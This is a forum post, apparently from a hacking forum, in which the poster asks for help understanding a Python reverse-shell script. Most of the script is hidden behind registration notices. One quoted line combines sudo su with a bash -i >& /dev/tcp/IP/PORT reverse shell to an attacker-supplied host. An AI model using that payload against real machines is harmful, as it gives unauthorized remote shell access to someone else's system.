Hidden Content
You must
[To see links please register here]
or
[To see links please register here]
to view this content.
Ok, from python documentation for 3.2.2:
Hidden Content
You must
[To see links please register here]
or
[To see links please register here]
to view this content.
and
Hidden Content
You must
[To see links please register here]
or
[To see links please register here]
to view this content.
So from what I understand, Popen('bash'... ) should open a bash shell, and the std*=subprocess.PIPE should give whatever the bash shell spits out as the "request" in the reverse shell.
Hidden Content
You must
[To see links please register here]
or
[To see links please register here]
to view this content.
First, what's with the date? Is it really necessary to -setdate 01:01:1970?
second, shouldn't the second part,
sudo su\nbash -i >& /dev/tcp/%s/%s 0>&1 &\n" % (ipaddr,port)
require root access in the first place? I'm just a little confused, because it doesn't seem to me like we have root access yet, only access at the level of the person who runs the script.
Someone help?